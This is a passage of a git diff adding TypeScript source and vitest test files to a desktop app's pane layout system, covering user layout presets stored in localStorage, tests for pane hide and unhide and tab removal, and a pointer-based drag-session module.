+    // Close routes through the registered closer, so the pane's own toggle
+    // store stays truthful rather than being bypassed by a tree edit.
+    expect($files.get()).toBe(false)
+    expect(isPaneVisible('files')).toBe(false)
+
+    togglePaneVisible('files')
+
+    expect($files.get()).toBe(true)
+    expect(isPaneVisible('files')).toBe(true)
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/presets.ts b/ui-desktop/src/components/pane-shell/tree/presets.ts
new file mode 100644
index 000000000..1804bb89d
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/presets.ts
@@ -0,0 +1,111 @@
+/**
+ * Layout presets — the FancyZones treatment.
+ *
+ * A preset is a CONTRIBUTION (`area: 'layouts'`, `data: LayoutNode`): the app
+ * registers its bundled presets as `source: 'core'`, plugins register theirs
+ * exactly the same way, and user-saved presets round-trip through localStorage
+ * and re-register as `source: 'user'`. The picker (renderer.tsx) reads one
+ * uniform list via `useContributions('layouts')`.
+ */
+
+import { registry } from '@/contrib/registry'
+import { readJson, writeJson, writeKey } from '@/lib/storage'
+
+import { isLayoutNode, type LayoutNode } from './model'
+import { $layoutTree, applyTree, markActivePreset } from './store'
+
+export const LAYOUTS_AREA = 'layouts'
+
+// v2: v1 presets predate semantic placement (see store.ts) — retire them.
+const USER_KEY = 'clawcodex.desktop.layoutPresets.v2'
+
+writeKey('clawcodex.desktop.layoutPresets.v1', null)
+
+interface StoredPreset {
+  name: string
+  tree: LayoutNode
+}
+
+const userDisposers = new Map<string, () => void>()
+
+function loadUserPresets(): Record<string, StoredPreset> {
+  const parsed = readJson<Record<string, StoredPreset>>(USER_KEY) ?? {}
+  const out: Record<string, StoredPreset> = {}
+
+  for (const [id, preset] of Object.entries(parsed)) {
+    if (preset && typeof preset.name === 'string' && isLayoutNode(preset.tree)) {
+      out[id] = preset
+    }
+  }
+
+  return out
+}
+
+function persistUserPresets(presets: Record<string, StoredPreset>) {
+  writeJson(USER_KEY, presets)
+}
+
+function registerUserPreset(id: string, preset: StoredPreset) {
+  userDisposers.get(id)?.()
+  userDisposers.set(
+    id,
+    registry.register({ id, area: LAYOUTS_AREA, source: 'user', title: preset.name, data: preset.tree })
+  )
+}
+
+// Register persisted user presets at module load.
+const userPresets = loadUserPresets()
+
+for (const [id, preset] of Object.entries(userPresets)) {
+  registerUserPreset(id, preset)
+}
+
+/** Save any tree as a named user preset (and make it active). */
+export function saveLayoutPresetTree(name: string, tree: LayoutNode): string | null {
+  const trimmed = name.trim()
+
+  if (!tree || !trimmed) {
+    return null
+  }
+
+  const id = `user-${
+    trimmed
+      .toLowerCase()
+      .replace(/[^a-z0-9]+/g, '-')
+      .replace(/^-+|-+$/g, '') || Date.now().toString(36)
+  }`
+
+  userPresets[id] = { name: trimmed, tree }
+  persistUserPresets(userPresets)
+  registerUserPreset(id, userPresets[id])
+  markActivePreset(id)
+
+  return id
+}
+
+/** Save the CURRENT tree as a named user preset (and make it active). */
+export function saveCurrentLayoutAs(name: string) {
+  const tree = $layoutTree.get()
+
+  if (tree) {
+    saveLayoutPresetTree(name, tree)
+  }
+}
+
+export function deleteUserPreset(id: string) {
+  if (!(id in userPresets)) {
+    return
+  }
+
+  delete userPresets[id]
+  persistUserPresets(userPresets)
+  userDisposers.get(id)?.()
+  userDisposers.delete(id)
+}
+
+export const isUserPreset = (id: string) => id in userPresets
+
+/** Apply a preset's tree (deep-cloned so live edits never mutate the preset). */
+export function applyLayoutPreset(id: string, tree: LayoutNode) {
+  applyTree(structuredClone(tree), id)
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/reactive-unhide.test.ts b/ui-desktop/src/components/pane-shell/tree/reactive-unhide.test.ts
new file mode 100644
index 000000000..34cab5cf9
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/reactive-unhide.test.ts
@@ -0,0 +1,197 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+// Ground-truth repro for "reactive unhides silently re-open a user-collapsed
+// side": `setTreePaneHidden` is the primitive that backs `bindPaneVisibility`
+// (e.g. `bindPaneVisibility('files', $hasWorkspace)`). The original
+// implementation auto-called `revealTreePane` on every unhide, which expanded
+// the parent column even when the user had explicitly collapsed it — so a
+// workspace transition (`$currentCwd` flipping on session create / resume)
+// forced the right sidebar open and persisted that open state to localStorage.
+//
+// We mirror controller.tsx exactly: register the `files` pane with
+// `placement: 'right'`, declare the default tree, bind the right side to
+// the file-browser open store, then collapse the right sidebar and trigger
+// the reactive unhide via the same primitive `bindPaneVisibility` invokes.
+
+describe('reactive pane unhide', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    vi.resetModules()
+  })
+
+  afterEach(() => {
+    vi.resetModules()
+  })
+
+  async function setupWithFiles() {
+    const tree = await import('@/components/pane-shell/tree/store')
+    const layout = await import('@/store/layout')
+    const model = await import('@/components/pane-shell/tree/model')
+    const { registry } = await import('@/contrib/registry')
+
+    // Register the right-column panes like controller.tsx does — placement
+    // 'right' is what makes `treeSideOfPane(id)` return 'right' (and therefore
+    // what makes the buggy `revealTreePane` auto-expand the right column).
+    for (const id of ['files', 'preview', 'review']) {
+      registry.register({
+        id,
+        area: 'panes',
+        title: id,
+        data: { placement: 'right' },
+        render: () => null
+      })
+    }
+
+    // Declare a minimal default tree mirroring the production DEFAULT_TREE's
+    // row shape (sessions | workspace | right-column-with-the-rail).
+    tree.declareDefaultTree(
+      model.split(
+        'row',
+        [
+          model.group(['sessions'], { id: 'grp-sessions' }),
+          model.group(['workspace'], { id: 'grp-main' }),
+          model.split(
+            'column',
+            [
+              model.split(
+                'row',
+                [
+                  model.group(['review'], { id: 'grp-review' }),
+                  model.group(['preview'], { id: 'grp-preview' }),
+                  model.group(['files'], { id: 'grp-files' })
+                ],
+                [1, 1, 1.2],
+                'spl-rail'
+              ),
+              model.group(['terminal'], { id: 'grp-terminal' })
+            ],
+            [1.6, 1],
+            'spl-right'
+          )
+        ],
+        [0.85, 3, 1.6]
+      )
+    )
+
+    // Mirror controller.tsx:512.
+    tree.bindTreeSideVisibility('right', layout.$fileBrowserOpen, layout.setFileBrowserOpen)
+
+    return { tree, layout }
+  }
+
+  it('reactive unhide does NOT expand a user-collapsed side', async () => {
+    const { tree, layout } = await setupWithFiles()
+
+    // Simulate the production scenario: a detached chat has no cwd, so
+    // `bindPaneVisibility('files', $hasWorkspace)` calls `setTreePaneHidden(
+    // 'files', true)` (hidden). Then the user collapses the right sidebar.
+    // Then a new session acquires a cwd and the workspace wiring unhides
+    // `files`. That last step is what the bug corrupts.
+    tree.setTreePaneHidden('files', true)
+    expect(tree.$hiddenTreePanes.get().has('files')).toBe(true)
+
+    layout.setFileBrowserOpen(false)
+    expect(layout.$fileBrowserOpen.get()).toBe(false)
+    expect(tree.$collapsedTreeSides.get().has('right')).toBe(true)
+
+    // Workspace flips: `bindPaneVisibility('files', $hasWorkspace)` calls
+    // `setTreePaneHidden('files', false)` — model it directly.
+    tree.setTreePaneHidden('files', false)
+
+    // The pane unhides…
+    expect(tree.$hiddenTreePanes.get().has('files')).toBe(false)
+
+    // …but the user-collapsed side MUST stay collapsed. Before the fix, the
+    // unhide called `revealTreePane`, which saw the side was collapsed and
+    // called `setFileBrowserOpen(true)` — silently re-opening the right
+    // sidebar on every session create / resume.
+    expect(layout.$fileBrowserOpen.get()).toBe(false)
+    expect(tree.$collapsedTreeSides.get().has('right')).toBe(true)
+  })
+
+  it('reactive HIDE (hidden=true) leaves the side flag alone', async () => {
+    const { tree, layout } = await setupWithFiles()
+
+    layout.setFileBrowserOpen(false)
+    expect(tree.$collapsedTreeSides.get().has('right')).toBe(true)
+
+    // A reactive HIDE (workspace goes away) must not flip the side either —
+    // collapsing the side is the user's domain; hiding individual panes
+    // inside it is the workspace domain.
+    tree.setTreePaneHidden('files', true)
+
+    expect(tree.$hiddenTreePanes.get().has('files')).toBe(true)
+    expect(layout.$fileBrowserOpen.get()).toBe(false)
+    expect(tree.$collapsedTreeSides.get().has('right')).toBe(true)
+  })
+
+  it('explicit setFileBrowserOpen still expands the side (user toggle)', async () => {
+    const { tree, layout } = await setupWithFiles()
+
+    layout.setFileBrowserOpen(false)
+    expect(tree.$collapsedTreeSides.get().has('right')).toBe(true)
+
+    // The user toggles the sidebar back open — this MUST still work; the
+    // binding mirrors `$fileBrowserOpen` to `$collapsedTreeSides`.
+    layout.setFileBrowserOpen(true)
+    expect(layout.$fileBrowserOpen.get()).toBe(true)
+    expect(tree.$collapsedTreeSides.get().has('right')).toBe(false)
+  })
+
+  // Opening a neighbour used to drag the file tree open with it: review and
+  // preview share ⌘J's column, and `revealTreePane` un-collapsed a column
+  // through its bound store — which for the right side IS the file-browser
+  // toggle. The reveal now un-collapses the column directly.
+  it('revealing a preview opens its column without flipping the file-tree toggle', async () => {
+    const { tree, layout } = await setupWithFiles()
+
+    layout.setFileBrowserOpen(false)
+    expect(tree.$collapsedTreeSides.get().has('right')).toBe(true)
+
+    tree.revealTreePane('preview')
+
+    // The column is showing…
+    expect(tree.$collapsedTreeSides.get().has('right')).toBe(false)
+    // …but the tree's own toggle never moved, so the tree stays closed.
+    expect(layout.$fileBrowserOpen.get()).toBe(false)
+  })
+
+  it('opening the diff pane leaves the file tree closed', async () => {
+    const { tree, layout } = await setupWithFiles()
+
+    layout.setFileBrowserOpen(false)
+    expect(tree.$collapsedTreeSides.get().has('right')).toBe(true)
+
+    // ⌘G — `toggleReview` reveals the review pane, which lives in the same
+    // right column as the file tree.
+    tree.revealTreePane('review')
+
+    expect(tree.$collapsedTreeSides.get().has('right')).toBe(false)
+    expect(layout.$fileBrowserOpen.get()).toBe(false)
+  })
+
+  it('reactive unhide does not invoke the right side opener directly', async () => {
+    const { tree, layout } = await setupWithFiles()
+
+    // Spy on the opener that `revealTreePane` would call when expanding a
+    // collapsed side — the bug is exactly this call firing on reactive unhide.
+    const openerSpy = vi.fn()
+    tree.bindTreeSideVisibility('right', layout.$fileBrowserOpen, openerSpy)
+
+    layout.setFileBrowserOpen(false)
+    expect(tree.$collapsedTreeSides.get().has('right')).toBe(true)
+
+    tree.setTreePaneHidden('files', true)
+    expect(tree.$hiddenTreePanes.get().has('files')).toBe(true)
+
+    openerSpy.mockClear()
+
+    // Reactive unhide fires via the same primitive the workspace wiring uses.
+    tree.setTreePaneHidden('files', false)
+
+    // The opener MUST NOT be called — before the fix, the auto-reveal would
+    // call `setFileBrowserOpen(true)` via this opener.
+    expect(tree.$hiddenTreePanes.get().has('files')).toBe(false)
+    expect(openerSpy).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/remove-pane.test.ts b/ui-desktop/src/components/pane-shell/tree/remove-pane.test.ts
new file mode 100644
index 000000000..07f1a236b
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/remove-pane.test.ts
@@ -0,0 +1,42 @@
+import { describe, expect, it } from 'vitest'
+
+import { findGroup, group, removePane, split } from './model'
+
+describe('removePane close-neighbor selection', () => {
+  it('closing a middle active tab keeps you on the tab that slides into its slot', () => {
+    // [a, b, c] active=b → close b → [a, c] active=c (was right of b), not a
+    const next = removePane(group(['a', 'b', 'c'], { active: 'b', id: 'g' }), 'b')
+
+    expect(next).toMatchObject({ type: 'group', panes: ['a', 'c'], active: 'c' })
+  })
+
+  it('closing the first active tab still advances to the former next tab', () => {
+    const next = removePane(group(['a', 'b', 'c'], { active: 'a', id: 'g' }), 'a')
+
+    expect(next).toMatchObject({ type: 'group', panes: ['b', 'c'], active: 'b' })
+  })
+
+  it('closing the last active tab falls back to its left neighbor', () => {
+    const next = removePane(group(['a', 'b', 'c'], { active: 'c', id: 'g' }), 'c')
+
+    expect(next).toMatchObject({ type: 'group', panes: ['a', 'b'], active: 'b' })
+  })
+
+  it('closing a non-active tab leaves the selection alone', () => {
+    const next = removePane(group(['a', 'b', 'c'], { active: 'c', id: 'g' }), 'b')
+
+    expect(next).toMatchObject({ type: 'group', panes: ['a', 'c'], active: 'c' })
+  })
+
+  it('walks nested splits so session stacks still get the slot rule', () => {
+    const tree = split('row', [
+      group(['workspace'], { active: 'workspace', id: 'main' }),
+      group(['tile:1', 'tile:2', 'tile:3'], { active: 'tile:2', id: 'stack' })
+    ])
+
+    const next = removePane(tree, 'tile:2')
+    const stack = next ? findGroup(next, 'stack') : null
+
+    expect(stack).toMatchObject({ panes: ['tile:1', 'tile:3'], active: 'tile:3' })
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/drag-session.ts b/ui-desktop/src/components/pane-shell/tree/renderer/drag-session.ts
new file mode 100644
index 000000000..6e479c679
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/drag-session.ts
@@ -0,0 +1,620 @@
+/**
+ * THE in-app drag primitive. One pointer-capture session (`startDragSession`)
+ * owns the machinery every in-app drag shares — threshold, rAF-coalesced
+ * moves, cursor/user-select chrome, ghost chip, Esc-as-top-escape-layer,
+ * hint publishing, teardown — and a per-kind RESOLVER supplies the semantics:
+ * what the pointer is over (`resolveMove` → DropHint) and what a release
+ * does (`onCommit`). Pane/tab drags (below) are the first resolver; the
+ * sidebar session drag (app/chat/session-drag.ts) is the second. Native
+ * HTML5 DnD is reserved for true OS boundaries (Finder file drops) — in-app
+ * drags never ride it, so no snap-back animation, no hostile-library
+ * armor, and Esc aborts synchronously.
+ *
+ * Pane drags use the FancyZones engine (zones-engine.ts, ported verbatim):
+ * sensitivity-radius hit testing, HighlightedZones state machine, Shift =
+ * select-many (combined zone range), ClosestCenter primary on drop. The
+ * LAYOUT STAYS FIXED and every zone lights up as a whole-region drop target;
+ * NOTHING moves until release (tab reorder included — the strip shows an
+ * insertion divider, not a live shuffle). Over a zone's TAB STRIP the drop
+ * stacks at the divider's slot; elsewhere the radial position picks
+ * center/edge.
+ *
+ * PERFORMANCE CONTRACT: the layout never restructures mid-drag, so every
+ * rect a resolver needs is snapshotted once at drag start (zones AND tab
+ * strips) and each pointermove is pure math against those caches — no
+ * elementsFromPoint, no getBoundingClientRect, no style writes unless a
+ * value actually changed. Moves are coalesced to one hit-test per animation
+ * frame, with the pending move flushed synchronously on release so the drop
+ * commits at the exact final position.
+ */
+
+import type { PointerEvent as ReactPointerEvent } from 'react'
+
+import { createDragGhost, type DragGhost } from '@/lib/drag-ghost'
+import { ESCAPE_PRIORITY, pushEscapeLayer } from '@/lib/escape-layers'
+import { reorderCommitHaptic, reorderStepHaptic } from '@/lib/reorder'
+
+import type { DropPosition } from '../model'
+import { $dropHint, $treeDragging, type DropHint, mergeTreeZones, moveTreePanes, reorderTreePanes } from '../store'
+import { clearTabSelection } from '../tab-selection'
+import { type EngineZone, HighlightedZones, primaryZone, type ZoneRect } from '../zones-engine'
+
+const DRAG_THRESHOLD_PX = 4
+
+/** Normalized radius of the elliptical CENTER region (stack/link). Outside it
+ *  the drop targets the dominant-axis edge — the boundary curves with the
+ *  zone's aspect ratio instead of snapping at a rigid pixel band, and corners
+ *  ease into their nearest edge along the quadrant diagonals. */
+const CENTER_RADIUS = 0.62
+
+export function snapshotZones(): EngineZone[] {
+  return [...document.querySelectorAll<HTMLElement>('[data-tree-group]')].map(el => {
+    const r = el.getBoundingClientRect()
+
+    return { id: el.dataset.treeGroup!, rect: { left: r.left, top: r.top, right: r.right, bottom: r.bottom } }
+  })
+}
+
+/** Radial drop position within `rect`: inside the center ellipse = the center
+ *  action (stack/link); outside, the dominant axis picks the edge (VS Code
+ *  dock-preview geometry). `centerRadius` sizes the ellipse — larger = more
+ *  center, slimmer curved edge bands. */
+export function radialPosition(
+  rect: { left: number; top: number; right: number; bottom: number },
+  x: number,
+  y: number,
+  centerRadius = CENTER_RADIUS
+): DropPosition {
+  // Zone-centered coordinates, ±1 at the edge midpoints.
+  const dx = ((x - rect.left) / Math.max(1, rect.right - rect.left)) * 2 - 1
+  const dy = ((y - rect.top) / Math.max(1, rect.bottom - rect.top)) * 2 - 1
+
+  if (Math.hypot(dx, dy) < centerRadius) {
+    return 'center'
+  }
+
+  return Math.abs(dx) >= Math.abs(dy) ? (dx < 0 ? 'left' : 'right') : dy < 0 ? 'top' : 'bottom'
+}
+
+/** Sub-zone drop position within the zone `groupId` (radial hit-testing). */
+export function subZonePosition(zones: EngineZone[], groupId: string, x: number, y: number): DropPosition {
+  const rect = zones.find(zone => zone.id === groupId)?.rect
+
+  return rect ? radialPosition(rect, x, y) : 'center'
+}
+
+/** One tab's insertion geometry: its pane id + horizontal midpoint. */
+interface StripSlot {
+  id: string
+  mid: number
+}
+
+const stripSlots = (strip: HTMLElement): StripSlot[] =>
+  [...strip.querySelectorAll<HTMLElement>('[data-tree-tab]')].map(tab => {
+    const r = tab.getBoundingClientRect()
+
+    return { id: tab.dataset.treeTab ?? '', mid: r.left + r.width / 2 }
+  })
+
+/** Insertion slot from the pointer x against the OTHER tabs' midpoints:
+ *  stack BEFORE the returned pane id (`null` = append). `exclude` is the
+ *  dragged tab — or the whole selection on a multi-tab drag, so the block
+ *  can't target a slot inside itself. */
+export function slotBefore(
+  slots: StripSlot[],
+  x: number,
+  exclude: readonly string[] | string = ''
+): { before: null | string } {
+  const excluded = typeof exclude === 'string' ? [exclude] : exclude
+
+  for (const slot of slots) {
+    if (excluded.includes(slot.id)) {
+      continue
+    }
+
+    if (x < slot.mid) {
+      return { before: slot.id }
+    }
+  }
+
+  return { before: null }
+}
+
+/** Drag-start snapshot of one zone's tab strip. Strips never overlap and the
+ *  layout never restructures mid-drag, so rect containment replaces a
+ *  per-move elementsFromPoint hit test. A drop on a strip STACKS at the
+ *  divider's slot — the strip is where tabs live, so it wins over the radial
+ *  top-edge band that would otherwise read as "split top". */
+export interface StripSnapshot {
+  groupId: string
+  rect: ZoneRect
+  slots: StripSlot[]
+}
+
+export function snapshotStrips(): StripSnapshot[] {
+  return [...document.querySelectorAll<HTMLElement>('[data-zone-tabstrip]')].map(el => {
+    const r = el.getBoundingClientRect()
+
+    return {
+      groupId: el.dataset.zoneTabstrip!,
+      rect: { left: r.left, top: r.top, right: r.right, bottom: r.bottom },
+      slots: stripSlots(el)
+    }
+  })
+}
+
+export const rectContains = (rect: ZoneRect, x: number, y: number, pad = 0) =>
+  x >= rect.left - pad && x <= rect.right + pad && y >= rect.top - pad && y <= rect.bottom + pad
+
+const sameHint = (a: DropHint | null, b: DropHint | null) =>
+  a?.groupId === b?.groupId &&
+  a?.pos === b?.pos &&
+  a?.stack?.before === b?.stack?.before &&
+  (a?.stack === undefined) === (b?.stack === undefined) &&
+  (a?.groupIds?.length ?? 0) === (b?.groupIds?.length ?? 0) &&
+  (a?.groupIds ?? []).every((id, i) => b?.groupIds?.[i] === id)
+
+/** Double-tap detection for drag handles. Pane handles preventDefault
+ *  pointerdown, which suppresses native `dblclick` — so rapid same-handle
+ *  taps are detected here instead. */
+const DOUBLE_TAP_MS = 400
+let lastTap: { key: string; time: number } | null = null
+
+export interface DoubleTapContext {
+  /** Two sub-threshold releases with the same key within DOUBLE_TAP_MS. */
+  key: string
+  onDoubleTap: () => void
+}
+
+// ---------------------------------------------------------------------------
+// The generic drag session (machinery) — resolvers plug in below / elsewhere.
+// ---------------------------------------------------------------------------
+
+export interface DragSessionSpec {
+  /** Movement crossed the drag threshold: snapshot geometry, set the drag
+   *  store(s), dim/mark the source. Runs once. */
+  onEngage(x: number, y: number): void
+  /** Per-frame target resolution — pure math against drag-start snapshots.
+   *  Returns the hint to publish; `null` = deny area (no-drop cursor, a
+   *  release commits nothing). */
+  resolveMove(x: number, y: number, shift: boolean): DropHint | null
+  /** Release over the final published hint (already flushed to the exact
+   *  release position). Only called for engaged drags. */
+  onCommit(hint: DropHint | null): void
+  /** Teardown for both commit and abort — undo whatever onEngage marked. */
+  onEnd?(): void
+  /** Sub-threshold release = a click on the handle. */
+  onTap?(): void
+  double?: DoubleTapContext
+  /** Floating chip following the pointer — for drags whose source doesn't
+   *  stay visibly "held" (a sidebar row, unlike a dimmed tab). See
+   *  `@/lib/drag-ghost`. */
+  ghost?: { label: string }
+}
+
+/** After an ENGAGED drag, the release still synthesizes a `click` on the
+ *  capture element — swallow exactly that one so a drag can never double as
+ *  an activation (row resume, tab close). Committed drags see the click in
+ *  the same task burst as pointerup; an Esc abort's click arrives with the
+ *  eventual release, so the trap disarms right after it. */
+function suppressDragClick(committed: boolean) {
+  const swallow = (ev: MouseEvent) => {
+    ev.preventDefault()
+    ev.stopPropagation()
+  }
+
+  window.addEventListener('click', swallow, { capture: true, once: true })
+
+  const disarm = () => window.setTimeout(() => window.removeEventListener('click', swallow, true), 0)
+
+  if (committed) {
+    disarm()
+  } else {
+    window.addEventListener('pointerup', disarm, { capture: true, once: true })
+    window.addEventListener('pointercancel', disarm, { capture: true, once: true })
+  }
+}
+
+/**
+ * Begin a drag session from a handle's pointerdown. A sub-threshold release
+ * is a click (`onTap` / `double.onDoubleTap`); past the threshold the spec's
+ * resolver owns targeting and the machinery owns everything else. Esc aborts
+ * instantly: the session registers as the TOP escape layer, tears down
+ * synchronously, and nothing commits.
+ */
+export function startDragSession(e: ReactPointerEvent<HTMLElement>, spec: DragSessionSpec) {
+  if (e.button !== 0) {
+    return
+  }
+
+  const handle = e.currentTarget
+  const { pointerId } = e
+  const sx = e.clientX
+  const sy = e.clientY
+  const restoreCursor = document.body.style.cursor
+  const restoreSelect = document.body.style.userSelect
+  let engaged = false
+  let releaseEscapeLayer: (() => void) | null = null
+  let ghost: DragGhost | null = null
+  let cursor: string | null = null
+  // rAF-coalesced move processing: the raw handler only records the latest
+  // point; all hit testing happens at most once per frame.
+  let pending: { x: number; y: number; shift: boolean } | null = null
+  let raf = 0
+
+  // Cursor writes are per-frame; only touch the style when the value changes.
+  const setCursor = (value: string) => {
+    if (cursor !== value) {
+      cursor = value
+      document.body.style.cursor = value
+    }
+  }
+
+  const publishHint = (next: DropHint | null) => {
+    if (!sameHint($dropHint.get(), next)) {
+      if (next?.stack !== undefined && $dropHint.get()?.stack?.before !== next.stack.before) {
+        reorderStepHaptic()
+      }
+
+      $dropHint.set(next)
+    }
+  }
+
+  const engage = (x: number, y: number) => {
+    engaged = true
+
+    // Capture only once ENGAGED: pre-threshold pointer events must stay
+    // untouched so a plain click on the handle (and its children — a row
+    // body's own onClick) keeps working. Window-level listeners track the
+    // gesture either way.
+    try {
+      handle.setPointerCapture?.(pointerId)
+    } catch {
+      // Synthetic events (automation) have no active pointer.
+    }
+
+    setCursor('grabbing')
+    document.body.style.userSelect = 'none'
+    // While dragging, Esc belongs to the drag ALONE — lower layers (edit
+    // mode, overlays) must not also fire on the same press.
+    releaseEscapeLayer = pushEscapeLayer(ESCAPE_PRIORITY.drag)
+
+    if (spec.ghost) {
+      ghost = createDragGhost(spec.ghost.label)
+    }
+
+    spec.onEngage(x, y)
+  }
+
+  const processMove = (x: number, y: number, shift: boolean) => {
+    if (!engaged) {
+      if (Math.hypot(x - sx, y - sy) < DRAG_THRESHOLD_PX) {
+        return
+      }
+
+      engage(x, y)
+    }
+
+    ghost?.moveTo(x, y)
+
+    const hint = spec.resolveMove(x, y, shift)
+
+    // Over a deny area (no target — titlebar / statusbar / gutters /
+    // off-window) the release cancels; the cursor says so up front.
+    setCursor(hint ? 'grabbing' : 'no-drop')
+    publishHint(hint)
+  }
+
+  const flushMove = () => {
+    raf = 0
+
+    if (pending) {
+      const { shift, x, y } = pending
+      pending = null
+      processMove(x, y, shift)
+    }
+  }
+
+  const onMove = (ev: PointerEvent) => {
+    pending = { shift: ev.shiftKey, x: ev.clientX, y: ev.clientY }
+    raf ||= requestAnimationFrame(flushMove)
+  }
+
+  const finish = (commit: boolean) => {
+    if (raf) {
+      cancelAnimationFrame(raf)
+      raf = 0
+    }
+
+    // The drop must land at the FINAL pointer position, not the last painted
+    // frame's — flush the pending move before reading the hint. An abort
+    // (Esc / pointercancel) skips it: everything is discarded anyway.
+    if (commit) {
+      flushMove()
+    }
+
+    document.body.style.cursor = restoreCursor
+    document.body.style.userSelect = restoreSelect
+    ghost?.destroy()
+    ghost = null
+    releaseEscapeLayer?.()
+    releaseEscapeLayer = null
+
+    try {
+      handle.releasePointerCapture?.(pointerId)
+    } catch {
+      // Mirror of the capture guard.
+    }
+
+    window.removeEventListener('pointermove', onMove, true)
+    window.removeEventListener('pointerup', onUp, true)
+    window.removeEventListener('pointercancel', onCancel, true)
+    window.removeEventListener('keydown', onKey, true)
+
+    if (engaged) {
+      suppressDragClick(commit)
+
+      if (commit) {
+        spec.onCommit($dropHint.get())
+      }
+    } else if (commit) {
+      const now = Date.now()
+
+      if (spec.double && lastTap?.key === spec.double.key && now - lastTap.time < DOUBLE_TAP_MS) {
+        lastTap = null
+        spec.double.onDoubleTap()
+      } else {
+        lastTap = spec.double ? { key: spec.double.key, time: now } : null
+        spec.onTap?.()
+      }
+    }
+
+    spec.onEnd?.()
+    $dropHint.set(null)
+    $treeDragging.set(null)
+  }
+
+  const onUp = () => finish(true)
+  const onCancel = () => finish(false)
+
+  // Esc aborts the drag — the target selection vanishes and nothing moves,
+  // the universal "never mind" for an in-flight drag. Capture-phase + stop so
+  // it doesn't also close a pane/overlay behind the drag (the escape layer
+  // covers contract-following handlers; the stop covers the rest).
+  const onKey = (ev: KeyboardEvent) => {
+    if (ev.key === 'Escape') {
+      ev.preventDefault()
+      ev.stopPropagation()
+      finish(false)
+    }
+  }
+
+  window.addEventListener('pointermove', onMove, true)
+  window.addEventListener('pointerup', onUp, true)
+  window.addEventListener('pointercancel', onCancel, true)
+  window.addEventListener('keydown', onKey, true)
+}
+
+// ---------------------------------------------------------------------------
+// Pane drag — the tree's resolver over the generic session.
+// ---------------------------------------------------------------------------
+
+interface ReorderContext {
+  groupId: string
+  /** The tab-strip element; tabs carry `data-tree-tab={paneId}`. */
+  strip: HTMLElement
+}
+
+/** How far (px) the pointer may stray from the strip before a tab drag stops
+ *  being a reorder and becomes a zone move (browser-tab tear-off feel). */
+const TEAR_OFF_SLACK_PX = 18
+
+/**
+ * Begin a pane drag from any handle. A sub-threshold release is a click
+ * (`onTap`, used to activate tabs; rapid repeat fires `double.onDoubleTap`
+ * instead). With a `reorder` context (tab drags), movement inside the strip
+ * targets an insertion slot — the strip renders a divider at it, NOTHING
+ * moves until release (placement-on-release, like every other drop); tearing
+ * away from the strip converts the drag into a zone move. Zone mode: zones
+ * light up, the target's tab strip stacks at its divider slot, Shift extends
+ * the highlight range, release drops into the ClosestCenter primary zone.
+ * Esc aborts either mode.
+ *
+ * `ghostLabel` opts into the pointer-following chip (`@/lib/drag-ghost`) — the
+ * same "what am I holding" affordance sessions use. The in-strip dim only
+ * marks a tab; a header/edit-body drag or a torn-off tab has no held source
+ * near the pointer, so the chip carries the pane title along with it.
+ */
+export function startPaneDrag(
+  paneId: string,
+  e: ReactPointerEvent<HTMLElement>,
+  onTap?: () => void,
+  reorder?: ReorderContext,
+  double?: DoubleTapContext,
+  ghostLabel?: string,
+  /** Multi-tab selection riding this drag (strip order, includes `paneId`).
+   *  The whole block moves/reorders together; `paneId` stays the pressed tab
+   *  (it fronts at the destination). */
+  selection?: readonly string[]
+) {
+  if (e.button !== 0) {
+    return
+  }
+
+  e.preventDefault()
+  e.stopPropagation()
+
+  // The moving block: the selection when the pressed tab rides one, else just
+  // the pressed tab. Order is strip order (selectionFor guarantees it).
+  const moving: readonly string[] = selection && selection.length > 1 ? selection : [paneId]
+
+  const highlighted = new HighlightedZones()
+  let zones: EngineZone[] = []
+  let strips: StripSnapshot[] = []
+  let mode: 'reorder' | 'zone' | null = null
+  let dimmed: HTMLElement[] = []
+
+  const markSource = () => {
+    // Every dragged tab dims for the drag's life — the divider says where they
+    // GO, the dim says what MOVES. No live shuffle (placement-on-release).
+    if (dimmed.length === 0 && reorder) {
+      dimmed = moving
+        .map(id => reorder.strip.querySelector<HTMLElement>(`[data-tree-tab="${CSS.escape(id)}"]`))
+        .filter((el): el is HTMLElement => el !== null)
+    }
+
+    for (const el of dimmed) {
+      el.style.setProperty('opacity', '0.45')
+    }
+  }
+
+  const enterZoneMode = () => {
+    mode = 'zone'
+    // The layout never restructures mid-drag, so zone/strip rects are stable.
+    zones = snapshotZones()
+    strips = snapshotStrips()
+    $treeDragging.set(paneId)
+    markSource()
+  }
+
+  // The reorder strip's geometry, snapshotted on first use (same fixed-layout
+  // guarantee as the zone snapshots).
+  let reorderSnap: { rect: ZoneRect; slots: StripSlot[] } | null = null
+
+  const reorderStrip = () => {
+    if (!reorderSnap) {
+      const r = reorder!.strip.getBoundingClientRect()
+      reorderSnap = {
+        rect: { left: r.left, top: r.top, right: r.right, bottom: r.bottom },
+        slots: stripSlots(reorder!.strip)
+      }
+    }
+
+    return reorderSnap
+  }
+
+  const withinStrip = (x: number, y: number) =>
+    Boolean(reorder) && rectContains(reorderStrip().rect, x, y, TEAR_OFF_SLACK_PX)
+
+  startDragSession(e, {
+    double,
+    ghost: ghostLabel ? { label: ghostLabel } : undefined,
+    onTap,
+
+    onEngage(x, y) {
+      if (reorder && withinStrip(x, y)) {
+        mode = 'reorder'
+        markSource()
+      } else {
+        enterZoneMode()
+      }
+    },
+
+    resolveMove(x, y, shift) {
+      if (mode === 'reorder') {
+        if (withinStrip(x, y)) {
+          return {
+            kind: 'group',
+            groupId: reorder!.groupId,
+            groupIds: [reorder!.groupId],
+            pos: 'center',
+            stack: slotBefore(reorderStrip().slots, x, moving)
+          }
+        }
+
+        // Tear-off: the tab leaves the strip and becomes a zone move.
+        enterZoneMode()
+      }
+
+      // The hint updates on highlight-set changes AND on sub-zone position
+      // changes (center/edge regions within the same primary zone).
+      const point = { x, y }
+      highlighted.update(zones, point, shift)
+      let groupIds = [...highlighted.zones()]
+
+      // Spanning multiple zones is EXPLICIT (Shift). Without it, the seam-
